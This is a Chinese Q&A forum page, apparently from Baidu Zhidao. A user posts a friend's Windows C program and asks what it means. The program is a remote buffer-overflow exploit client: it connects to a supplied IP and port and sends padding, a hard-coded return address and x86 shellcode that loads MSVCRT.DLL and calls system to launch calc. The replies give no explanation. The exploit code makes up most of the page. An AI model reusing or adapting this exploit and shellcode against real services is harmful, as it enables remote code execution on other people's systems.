谁来解释一下这段C语言代码的含义?

某boy发过来的某boy在学黑,写了个程序搞溢出我不幸一个字没看懂——当然,某boy的程序编译没通过大家解释一下这个程序#include<stdio.h>#i... 某boy发过来的某boy在学黑,写了个程序搞溢出我不幸一个字没看懂——当然,某boy的程序编译没通过大家解释一下这个程序#include <stdio.h>#include <stdlib.h>#include <WINSOCK2.H>#pragma comment (lib, "WS2_32")int main(int argc, char **argv){ WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) {  printf("Failed Initialization.\n");  return 0; }  if(argc!=3) {  printf("Usage: client.exe [Server_IP] [port]\n");  return 0; } int port = atoi(argv[2]); SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) {  printf("Failed socket()\n");  return 0; } sockaddr_in servAddr; servAddr.sin_family = AF_INET; servAddr.sin_port = htons(port); servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1) {  printf("Failed connect()\n");  return 0; } char buff[1024]; int nRev = ::recv(s, buff, sizeof(buff), 0); if (nRev > 0) {  buff[nRev] = '\0';  printf("Received: %s", buff); } char toSend[] =   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  "\x12\x45\xfa\x7f"  "\x55\x8b\xec"  "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45"  "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6"  "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6"   "\x45\xfd\x4c\xba"  "\x9c\x4f\x88\x7c"   //loadlibrarya  "\x52\x8d\x45\xf4\x50\xff\x55\xf0\x55\x8b\xec\x83\xec\x0c\xb8\x63\x61\x6c\x63"  "\x89\x45\xf4\xb8\x2e\x65\x78\x65\x89\x45\xf8\x33\xd2\x88\x55\xfc\x8d\x45\xf4"  "\x50\xb8"  "\xc7\x93\xbf\x77" //system  "\xff\xd0"; send(s, toSend, strlen(toSend), 0); ::closesocket(s); return 0;}  展开
 我来答
P6631034
2012-04-21 · TA获得超过379个赞
知道答主
回答量:306
采纳率:0%
帮助的人:134万
展开全部
答:我来
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
hutengyun
2012-04-13
知道答主
回答量:7
采纳率:0%
帮助的人:3.3万
展开全部
牛人
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式